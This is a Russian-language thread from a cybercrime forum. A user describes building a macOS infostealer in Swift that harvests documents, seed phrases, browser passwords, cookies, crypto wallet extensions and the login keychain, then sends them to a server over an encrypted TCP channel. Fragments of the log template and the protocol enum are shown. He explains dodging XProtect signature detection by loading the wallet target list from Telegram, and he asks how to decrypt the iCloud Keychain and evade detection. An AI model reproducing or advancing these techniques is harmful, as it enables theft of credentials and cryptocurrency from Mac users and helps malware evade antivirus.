• XSS.stack #1 – первый литературный журнал от юзеров форума

XProtect на Mac OS

FLOKI

Премиум
Premium
Регистрация
21.07.2022
Сообщения
129
Реакции
122
Пока был на отдыхе захотел себя чем-то занять и на руках был только макбук 2022 года. Решил поэкспериментировать и написать для себя стилер на Swift.

Написал простенькую версию которая собирала документы в Documents, Desktop, Downloads, etc. Также она искала файлы по названию/содержимому внутри по приваткею, сидке (12/15/24 слов)
Собирал бд с паролями, автофилами, куками и расширение метамаски,фантома для хромиум браузеров , а также куки сафари и login keychain. Также много инфы о системе:
Swift:
===== System Information =====
        Timestamp: \(timestamp)
        Folder ID: \(uidFolder)
        
        --- Operating System ---
        \(osVersion)
        
        --- Network ---
        IP Address: \(ipAddress)
        
        --- Hardware ---
        \(hwid)
        \(cpuInfo)
        \(gpuInfo)
        
        --- User ---
        \(userInfo)
        
        --- Browser Info ---
        \(userAgents)
        
        --- Applications ---
        \(installedApps)
        
        --- Browser History ---
        \(safariHistory)
        \(chromeHistory)
        \(firefoxHistory)
        
        --- System Activity ---
        \(runningProcesses)
        
        --- Credentials ---
        \(passwordInfo)
        
        ==========================
        """

Написал простой TCP-сервер для общения client<-->server и передачи лога с такими типами сообщений:
JavaScript:
const MessageType = {
    HANDSHAKE: 0,
    KEY_EXCHANGE: 1,
    CHUNKS_INFO: 2,
    DATA_CHUNK: 3,
    TRANSFER_COMPLETE: 4,
    ERROR: 5,
    SUCCESS: 6,
    FILE_INFO: 7,       
    DIRECTORY_INFO: 8   
};

То есть клиент здоровался с сервером, генерировал ключи для AES, делил весь лог на 20 чанков и сообщал их хеши (чтобы потом проверять на сервере целостность), далее передавал весь лог и инфу о том, что передача произошла успешно. Затем сервер расшифровывал лог и приступал к расшифровке кейчейна и прочего, но это уже к теме треда не относится.

Суть проблемы в том, что со стороны встроенного АВ на маке никаких проблем вообще не было, но как только я решил собирать не только метамаск, фантом и добавил 150 кошей в список для сбора -- моментально получил детект при запуске.
Как я узнал XProtect бьёт только по сигнатурам. Реализовал получение списка кошей через тг канал и детект моментально испарился.

Вопрос к знатокам, какие ещё проблемы могут в теории возникнуть? Если я захочу реализовать расшифровку iCloud Keychain на самом устройстве (не login keychain, а именно icloud с помощью которого можно получить доступ к заметкам и паролям Safari), то будет ли XProtect также бить по сигнатурам? Как это лучше обойти?

На форуме видел только то, что можно написать морфер который будет помогать с этим, но чёт пока не дошёл к его написанию
 
Если я захочу реализовать расшифровку iCloud Keychain на самом устройстве (не login keychain, а именно icloud с помощью которого можно получить доступ к заметкам и паролям Safari),
Сомневаюсь что ты это сделаешь для apple arm процессоров с чипами m1+. Для amd64, можно и есть паблик решения(но сколько сейчас таких маков встетишь? 5%? 1%?). На сколько я понял ключи хранятся в анклаве(то есть это аппаратное решение) и читать их можно только из ядра
 
Сомневаюсь что ты это сделаешь для apple arm процессоров с чипами m1+. Для amd64, можно и есть паблик решения(но сколько сейчас таких маков встетишь? 5%? 1%?). На сколько я понял ключи хранятся в анклаве(то есть это аппаратное решение) и читать их можно только из ядра
А вот я про паблик решения и думал, видел на гитхабе (по типу таких https://github.com/n0fate/iChainbreaker). Не знал что они только на старых версиях работают, первый раз под мак что-то пишу.

В любом случае про XProtect и GateKeeper мало инфы на форуме, думаю кто-то сможет более детально тему раскрыть
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх